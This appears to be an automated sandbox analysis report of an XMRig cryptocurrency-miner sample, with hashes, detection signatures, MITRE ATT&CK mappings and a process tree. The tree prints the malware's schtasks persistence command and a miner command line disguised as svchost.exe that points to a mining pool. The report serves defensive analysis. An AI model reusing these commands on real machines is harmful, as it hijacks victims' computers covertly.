xmrig | 315cd7ebf75f6804614a07de69c8f5c6e9f6ef9eaeaf86b8efbeaca69c48d641

Analysis

max time kernel
156s
max time network
171s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
30/12/2023, 11:39

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General

Target

1759934f36d5b85357c3b319f35b0432.exe
Size

110KB
MD5

1759934f36d5b85357c3b319f35b0432
SHA1

f634a290bcfbc526f0d80868c8acc82b8f7bbf2e
SHA256

315cd7ebf75f6804614a07de69c8f5c6e9f6ef9eaeaf86b8efbeaca69c48d641
SHA512

1a16656380ec06f6f1a64e53fbdda09dcf15587cf2d4464eb92f3089a90205c605971ee02b9cbc48d95f9417769eb2a0217e4639e0131420522ec31f9152d152
SSDEEP

1536:UpXwmYTU4I1KLmY0BRxoOXBZVFfxUlYlI7oDF/WH:OwmyU4+xoOXRFfTF/G

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/4844-41-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-43-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-44-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-47-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-48-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-50-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-51-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-52-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-53-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4844-55-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	1759934f36d5b85357c3b319f35b0432.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	services64.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 2 IoCs

pid	Process
2892	services64.exe
796	sihost64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2892 set thread context of 4844	2892	services64.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2556	schtasks.exe
1376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4200	1759934f36d5b85357c3b319f35b0432.exe
2892	services64.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	1759934f36d5b85357c3b319f35b0432.exe
Token: SeDebugPrivilege	2892	services64.exe
Token: SeLockMemoryPrivilege	4844	svchost.exe
Token: SeLockMemoryPrivilege	4844	svchost.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4200 wrote to memory of 2068	4200	1759934f36d5b85357c3b319f35b0432.exe	92
PID 4200 wrote to memory of 2068	4200	1759934f36d5b85357c3b319f35b0432.exe	92
PID 2068 wrote to memory of 1376	2068	cmd.exe	94
PID 2068 wrote to memory of 1376	2068	cmd.exe	94
PID 4200 wrote to memory of 2892	4200	1759934f36d5b85357c3b319f35b0432.exe	95
PID 4200 wrote to memory of 2892	4200	1759934f36d5b85357c3b319f35b0432.exe	95
PID 2892 wrote to memory of 1652	2892	services64.exe	97
PID 2892 wrote to memory of 1652	2892	services64.exe	97
PID 2892 wrote to memory of 796	2892	services64.exe	99
PID 2892 wrote to memory of 796	2892	services64.exe	99
PID 1652 wrote to memory of 2556	1652	cmd.exe	100
PID 1652 wrote to memory of 2556	1652	cmd.exe	100
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104
PID 2892 wrote to memory of 4844	2892	services64.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\1759934f36d5b85357c3b319f35b0432.exe
"C:\Users\Admin\AppData\Local\Temp\1759934f36d5b85357c3b319f35b0432.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:1376
- C:\Users\Admin\AppData\Local\Temp\services64.exe
  "C:\Users\Admin\AppData\Local\Temp\services64.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1652
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:2556
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    PID:796
- - C:\Windows\System32\svchost.exe
    C:\Windows/System32\svchost.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.pool.minergate.com:45700 [email protected] --pass= --cpu-max-threads-hint=60 --cinit-idle-wait=5 --cinit-idle-cpu=60
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\services64.exe

Filesize
110KB

MD5
1759934f36d5b85357c3b319f35b0432

SHA1
f634a290bcfbc526f0d80868c8acc82b8f7bbf2e

SHA256
315cd7ebf75f6804614a07de69c8f5c6e9f6ef9eaeaf86b8efbeaca69c48d641

SHA512
1a16656380ec06f6f1a64e53fbdda09dcf15587cf2d4464eb92f3089a90205c605971ee02b9cbc48d95f9417769eb2a0217e4639e0131420522ec31f9152d152

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
7KB

MD5
9493e3d01cce271cf1ffeb0dd0e252fb

SHA1
4cfe3799e73d7117a0f0c85f451602e5f5168ad3

SHA256
10da2245652c5674010ad225d9f1e448918838c44916700dff558ef03e068de2

SHA512
2a7a22a167c2cc5c3045cb3065efda938974f1c95b5f481b11d5aed21a37a81f39b2f5b6aea1fbf06925dd18127fa380d4f020dd5d76c347acee8a9b9a8a0794

Download Submit
memory/796-54-0x000000001C190000-0x000000001C1A0000-memory.dmp

Filesize
64KB

Download
memory/796-49-0x00007FF911DA0000-0x00007FF912861000-memory.dmp

Filesize
10.8MB

Download
memory/796-37-0x000000001C190000-0x000000001C1A0000-memory.dmp

Filesize
64KB

Download
memory/796-36-0x00007FF911DA0000-0x00007FF912861000-memory.dmp

Filesize
10.8MB

Download
memory/796-34-0x0000000000540000-0x0000000000546000-memory.dmp

Filesize
24KB

Download
memory/2892-38-0x00007FF911DA0000-0x00007FF912861000-memory.dmp

Filesize
10.8MB

Download
memory/2892-46-0x00007FF911DA0000-0x00007FF912861000-memory.dmp

Filesize
10.8MB

Download
memory/2892-18-0x00007FF911DA0000-0x00007FF912861000-memory.dmp

Filesize
10.8MB

Download
memory/2892-40-0x0000000002B10000-0x0000000002B20000-memory.dmp

Filesize
64KB

Download
memory/2892-19-0x0000000002B10000-0x0000000002B20000-memory.dmp

Filesize
64KB

Download
memory/4200-5-0x0000000002C30000-0x0000000002C3A000-memory.dmp

Filesize
40KB

Download
memory/4200-35-0x00007FF911DA0000-0x00007FF912861000-memory.dmp

Filesize
10.8MB

Download
memory/4200-4-0x0000000000BC0000-0x0000000000BD2000-memory.dmp

Filesize
72KB

Download
memory/4200-3-0x0000000000B90000-0x0000000000B9E000-memory.dmp

Filesize
56KB

Download
memory/4200-0-0x00000000001C0000-0x00000000001E0000-memory.dmp

Filesize
128KB

Download
memory/4200-1-0x00007FF911DA0000-0x00007FF912861000-memory.dmp

Filesize
10.8MB

Download
memory/4200-2-0x000000001BEB0000-0x000000001BEC0000-memory.dmp

Filesize
64KB

Download
memory/4844-44-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-47-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-45-0x0000018998AC0000-0x0000018998AE0000-memory.dmp

Filesize
128KB

Download
memory/4844-43-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-48-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-50-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-51-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-52-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-53-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-41-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4844-55-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download